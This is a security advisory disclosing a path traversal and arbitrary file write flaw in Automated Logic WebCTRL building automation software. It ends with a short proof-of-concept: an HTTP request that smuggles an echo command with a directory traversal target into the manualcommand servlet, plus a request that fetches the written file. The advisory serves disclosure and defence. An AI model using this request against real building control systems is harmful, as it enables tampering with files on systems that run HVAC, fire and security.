Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write Vendor: Automated Logic Corporation Product web page: http://www.automatedlogic.com Affected version: ALC WebCTRL, SiteScan Web 6.1 and prior ALC WebCTRL, i-Vu 6.0 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior Summary: WebCTRLA(r), Automated Logic's web-based building automation system, is known for its intuitive user interface and powerful integration capabilities. It allows building operators to optimize and manage all of their building systems - including HVAC, lighting, fire, elevators, and security - all within a single HVAC controls platform. It's everything they need to keep occupants comfortable, manage energy conservation measures, identify key operational problems, and validate the results. Desc: The vulnerability is triggered by an authenticated user that can use the manualcommand console in the management panel of the affected application. The ManualCommand() function in ManualCommand.js allows users to perform additional diagnostics and settings overview by using pre-defined set of commands. This can be exploited by using the echo command to write and/or overwrite arbitrary files on the system including directory traversal throughout the system. Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601) Apache-Coyote/1.1 Apache Tomcat/7.0.42 CJServer/1.1 Java/1.7.0_25-b17 Java HotSpot Server VM 23.25-b01 Ant 1.7.0 Axis 1.4 Trove 2.0.2 Xalan Java 2.4.1 Xerces-J 2.6.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5430 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5430.php CVE ID: CVE-2017-9640 CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9640 30.01.2017 -- PoC: GET /_common/servlet/lvl5/manualcommand?wbs=251&action=echo%20peend>..\touch.txt&id=7331 HTTP/1.1 Host: TARGET --- GET http://TARGET/touch.txt HTTP/1.1 peend